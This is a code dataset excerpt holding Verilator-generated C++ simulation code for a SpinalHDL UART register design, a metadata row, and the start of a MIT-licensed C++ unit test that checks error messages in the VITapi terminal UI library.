& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4)))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_9_)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4)))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4)))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4)))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4)));
if ((0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter)) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1;
}
}
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter;
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:638
vlTOPp->__Vtableidx7 = vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state_string
= vlTOPp->__Vtable7_UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state_string
[vlTOPp->__Vtableidx7];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_2_
= ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_tick)
& (~ (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value)));
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:653
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick = 0U;
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_tick) {
if ((0U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick = 1U;
}
}
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_9_
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1;
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1386
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateReg;
if ((4U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateReg))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext = 1U;
} else {
if ((2U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateReg))) {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateReg))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext
= ((0x1fU == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_inCounter))
? 4U : 2U);
} else {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext = 3U;
}
}
} else {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext
= ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateReg))
? 2U : 1U);
}
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:151
if (vlTOPp->reset) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_0 = 0U;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1 = 0U;
} else {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_0;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_0
= vlTOPp->io_uart_rxd;
}
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_tick
= (0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter);
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:421
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_willIncrement = 0U;
if ((0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter)) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_willIncrement = 1U;
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1281
vlTOPp->__Vtableidx2 = vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string[0U]
= vlTOPp->__Vtable2_UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string
[vlTOPp->__Vtableidx2][0U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string[1U]
= vlTOPp->__Vtable2_UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string
[vlTOPp->__Vtableidx2][1U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string[2U]
= vlTOPp->__Vtable2_UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string
[vlTOPp->__Vtableidx2][2U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string[3U]
= vlTOPp->__Vtable2_UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string
[vlTOPp->__Vtableidx2][3U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string[4U]
= vlTOPp->__Vtable2_UartKaraReg__DOT__uartfsm__DOT__fsmIn_stateNext_string
[vlTOPp->__Vtableidx2][4U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_0
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_0;
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:431
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_valueNext
= (7U & ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_value)
+ (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_willIncrement)));
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick
= ((7U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_value))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_counter_willIncrement));
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_8_
= ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2));
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_7_
= (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4));
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_6_
= ((((((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3)))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__io_rxd_buffercc__DOT__buffers_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3)))
| (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3)));
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:457
vlTOPp->__Vtableidx6 = (((7U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value))
<< 4U) | (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick)
<< 3U) | (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state)));
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx_io_write_ready
= vlTOPp->__Vtable6_UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx_io_write_ready
[vlTOPp->__Vtableidx6];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_ready
= (1U & ((~ (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_m2sPipe_rValid))
| (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx_io_write_ready)));
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1413
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateReg;
if ((1U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateReg))) {
if (vlTOPp->UartKaraReg__DOT__karareg_1___05Fio_toUart_valid) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext = 2U;
}
} else {
if ((2U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateReg))) {
if (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_valid)
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_ready))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext = 3U;
}
} else {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext
= ((3U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateReg))
? ((0x1fU == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outCounter))
? 1U : 2U) : 1U);
}
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1300
vlTOPp->__Vtableidx4 = vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string[0U]
= vlTOPp->__Vtable4_UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string
[vlTOPp->__Vtableidx4][0U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string[1U]
= vlTOPp->__Vtable4_UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string
[vlTOPp->__Vtableidx4][1U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string[2U]
= vlTOPp->__Vtable4_UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string
[vlTOPp->__Vtableidx4][2U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string[3U]
= vlTOPp->__Vtable4_UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string
[vlTOPp->__Vtableidx4][3U];
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string[4U]
= vlTOPp->__Vtable4_UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateNext_string
[vlTOPp->__Vtableidx4][4U];
}
VL_INLINE_OPT void VUartKaraReg::_sequent__TOP__5(VUartKaraReg__Syms* __restrict vlSymsp) {
VL_DEBUG_IF(VL_DBG_MSGF("+ VUartKaraReg::_sequent__TOP__5\n"); );
VUartKaraReg* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
// Body
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_3_
= (7U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value));
}
void VUartKaraReg::_eval(VUartKaraReg__Syms* __restrict vlSymsp) {
VL_DEBUG_IF(VL_DBG_MSGF("+ VUartKaraReg::_eval\n"); );
VUartKaraReg* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
// Body
if ((((IData)(vlTOPp->clk) & (~ (IData)(vlTOPp->__Vclklast__TOP__clk)))
| ((IData)(vlTOPp->reset) & (~ (IData)(vlTOPp->__Vclklast__TOP__reset))))) {
vlTOPp->_sequent__TOP__1(vlSymsp);
vlTOPp->__Vm_traceActivity = (2U | vlTOPp->__Vm_traceActivity);
}
if (((IData)(vlTOPp->clk) & (~ (IData)(vlTOPp->__Vclklast__TOP__clk)))) {
vlTOPp->_sequent__TOP__2(vlSymsp);
vlTOPp->__Vm_traceActivity = (4U | vlTOPp->__Vm_traceActivity);
}
if ((((IData)(vlTOPp->clk) & (~ (IData)(vlTOPp->__Vclklast__TOP__clk)))
| ((IData)(vlTOPp->reset) & (~ (IData)(vlTOPp->__Vclklast__TOP__reset))))) {
vlTOPp->_sequent__TOP__4(vlSymsp);
vlTOPp->__Vm_traceActivity = (8U | vlTOPp->__Vm_traceActivity);
}
if (((IData)(vlTOPp->clk) & (~ (IData)(vlTOPp->__Vclklast__TOP__clk)))) {
vlTOPp->_sequent__TOP__5(vlSymsp);
vlTOPp->__Vm_traceActivity = (0x10U | vlTOPp->__Vm_traceActivity);
}
// Final
vlTOPp->__Vclklast__TOP__clk = vlTOPp->clk;
vlTOPp->__Vclklast__TOP__reset = vlTOPp->reset;
}
VL_INLINE_OPT QData VUartKaraReg::_change_request(VUartKaraReg__Syms* __restrict vlSymsp) {
VL_DEBUG_IF(VL_DBG_MSGF("+ VUartKaraReg::_change_request\n"); );
VUartKaraReg* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
// Body
// Change detection
QData __req = false; // Logically a bool
return __req;
}
#ifdef VL_DEBUG
void VUartKaraReg::_eval_debug_assertions() {
VL_DEBUG_IF(VL_DBG_MSGF("+ VUartKaraReg::_eval_debug_assertions\n"); );
// Body
if (VL_UNLIKELY((io_uart_rxd & 0xfeU))) {
Verilated::overWidthError("io_uart_rxd");}
if (VL_UNLIKELY((clk & 0xfeU))) {
Verilated::overWidthError("clk");}
if (VL_UNLIKELY((reset & 0xfeU))) {
Verilated::overWidthError("reset");}
}
#endif // VL_DEBUG
| [
"thorsten_knoll@yahoo.de"
] | thorsten_knoll@yahoo.de |
ccbf46e4d61733d9281532a3ad93f737594fc508 | ed3cffa9242ad8d40c89da07b591cef8ab8b2f5d | /test/error.t.cpp | ee71dfe098deb5c43e54010bfa8885ba020a9ce2 | [
"MIT"
] | permissive | GothenburgBitFactory/vitapi | 7e06601000dd8536941075444680c6e9175d75d0 | adfd9f4e98a159287fee4079dd687887b1af6f19 | refs/heads/master | 2021-05-04T23:15:22.011467 | 2017-01-01T17:49:15 | 2017-01-01T17:49:15 | 120,088,115 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 9,325 | cpp | ////////////////////////////////////////////////////////////////////////////////
// VITapi - UI helper library that controls Visuals, Input and Terminals.
//
// Copyright 2010 - 2017, Göteborg Bit Factory.
// All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//
// http://www.opensource.org/licenses/mit-license.php
//
////////////////////////////////////////////////////////////////////////////////
#include <test.h>
#include <vitapi.h>
////////////////////////////////////////////////////////////////////////////////
int main (int argc, char** argv)
{
UnitTest t (46);
char error [256];
// vitapi_error
vitapi_error (NULL, 0); // Cause an error
vitapi_error (error, 256); // Get the message
t.is (error, "Null buffer pointer passed to vitapi_error.",
"vitapi_error: NULL pointer");
vitapi_error (NULL, 0); // Cause an error
vitapi_error (error, 1); // Cause another
vitapi_error (error, 256); // Get the new message
t.is (error, "Insufficient buffer size passed to vitapi_error.",
"vitapi_error: Insufficient buffer");
// color_def
t.is (color_def ("donkey on red"), -1, "donkey on red -> -1");
vitapi_error (error, 256);
t.is (error, "The color 'donkey' is not recognized.",
"color_def: 'donkey' invalid");
t.is (color_def ("red on toast"), -1, "red on toast -> -1");
vitapi_error (error, 256);
t.is (error, "The color 'toast' is not recognized.",
"color_def: 'toast' invalid");
t.is (color_def ("donkey on toast"), -1, "donkey on toast -> -1");
vitapi_error (error, 256);
t.is (error, "The color 'donkey' is not recognized.",
"color_def: 'donkey' invalid");
t.is (color_def (NULL), -1, "NULL -> -1");
vitapi_error (error, 256);
t.is (error, "Null pointer to a color definition passed to color_def.",
"color_def: NULL pointer");
// color_name
color_name (NULL, 1, 0);
vitapi_error (error, 256);
t.is (error, "Null buffer pointer passed to color_name.",
"color_name: NULL pointer");
color_name (error, 1, -1);
vitapi_error (error, 256);
t.is (error, "Invalid color passed to color_name.",
"color_name: invalid color");
// color_blend
t.is (color_blend (-1, -1), -1, "blend -1, -1 -> error");
vitapi_error (error, 256);
t.is (error, "Two invalid colors passed to color_blend.",
"color_blend: two invalid colors");
t.is (color_blend (color_def ("red"), -1), color_def ("red"), "blend red, -1 -> red");
t.is (color_blend (-1, color_def ("red")), color_def ("red"), "blend -1, red, -> red");
// color_colorize
color_colorize (NULL, 1, 0);
vitapi_error (error, 256);
t.is (error, "Null buffer pointer passed to color_colorize.",
"color_colorize: NULL pointer");
color_colorize (error, 1, color_def ("red"));
vitapi_error (error, 256);
t.is (error, "Insufficient buffer size passed to color_colorize.",
"color_colorize: insufficient buffer");
// iapi_mouse_pos
int x, y;
iapi_mouse_pos (&x, NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer to y coordinate passed to iapi_mouse_pos",
"iapi_mouse_pos: NULL pointer");
iapi_mouse_pos (NULL, &y);
vitapi_error (error, 256);
t.is (error, "Null pointer to x coordinate passed to iapi_mouse_pos",
"iapi_mouse_pos: NULL pointer");
iapi_mouse_pos (NULL, NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer to x coordinate passed to iapi_mouse_pos",
"iapi_mouse_pos: NULL pointer");
// vapi_moveto
vapi_moveto (0, 1);
vitapi_error (error, 256);
t.is (error, "Invalid x coordinate passed to vapi_moveto.",
"vapi_moveto: x coordinate range");
vapi_moveto (1, 0);
vitapi_error (error, 256);
t.is (error, "Invalid y coordinate passed to vapi_moveto.",
"vapi_moveto: y coordinate range");
vapi_moveto (10000, 1);
vitapi_error (error, 256);
t.is (error, "Invalid x coordinate passed to vapi_moveto.",
"vapi_moveto: x coordinate range");
vapi_moveto (1, 10000);
vitapi_error (error, 256);
t.is (error, "Invalid y coordinate passed to vapi_moveto.",
"vapi_moveto: y coordinate range");
// vapi_text
vapi_text (NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer passed to vapi_text.",
"vapi_text: NULL pointer");
// vapi_color_text
vapi_color_text (0, NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer passed to vapi_color_text.",
"vapi_color_text: NULL pointer");
vapi_color_text (-1, "foo");
vitapi_error (error, 256);
t.is (error, "Invalid color passed to vapi_color_text.",
"vapi_color_text: Invalid color");
// vapi_pos_text
vapi_pos_text (1, 1, NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer passed to vapi_pos_text.",
"vapi_pos_text: NULL pointer");
// vapi_pos_color_text
vapi_pos_color_text (1, 1, 0, NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer passed to vapi_pos_color_text.",
"vapi_pos_color_text: NULL pointer");
vapi_pos_color_text (1, 1, -1, "foo");
vitapi_error (error, 256);
t.is (error, "Invalid color passed to vapi_pos_color_text.",
"vapi_pos_color_text: Invalid color");
// vapi_rectangle
vapi_rectangle (1, 1, 10, 10, -1);
vitapi_error (error, 256);
t.is (error, "Invalid color passed to vapi_rectangle.",
"vapi_rectangle: Invalid color");
// vapi_title
vapi_title (NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer passed to vapi_title.",
"vapi_title: NULL pointer");
// tapi_initialize
tapi_initialize (NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer to a terminal type passed to tapi_initialize.",
"tapi_initialize: NULL pointer");
// tapi_add
tapi_add ("vt100", NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer to a terminal definition passed to tapi_add.",
"tapi_add: NULL pointer");
tapi_add (NULL, "foo:bar");
vitapi_error (error, 256);
t.is (error, "Null pointer to a terminal type passed to tapi_add.",
"tapi_add: NULL pointer");
// tapi_get
tapi_initialize ("");
char buf[64];
tapi_get (NULL, buf, 64);
vitapi_error (error, 256);
t.is (error, "Null pointer to a terminal key passed to tapi_get.",
"tapi_get: NULL pointer");
tapi_get ("ku", NULL, 64);
vitapi_error (error, 256);
t.is (error, "Null pointer for a key value passed to tapi_get.",
"tapi_get: NULL pointer");
tapi_get ("ku", buf, 1);
vitapi_error (error, 256);
t.is (error, "Insufficient buffer size passed to tapi_get.",
"tapi_get: Insufficient buffer");
// tapi_get_xy
tapi_get_xy (NULL, buf, 64, 1, 1);
vitapi_error (error, 256);
t.is (error, "Null pointer to a terminal key passed to tapi_get_xy.",
"tapi_get_xy: NULL pointer");
tapi_get_xy ("ku", NULL, 64, 1, 1);
vitapi_error (error, 256);
t.is (error, "Null pointer for a key value passed to tapi_get_xy.",
"tapi_get_xy: NULL pointer");
tapi_get_xy ("ku", buf, 1, 1, 1);
vitapi_error (error, 256);
t.is (error, "Insufficient buffer size passed to tapi_get_xy.",
"tapi_get_xy: Insufficient buffer");
// tapi_get_str
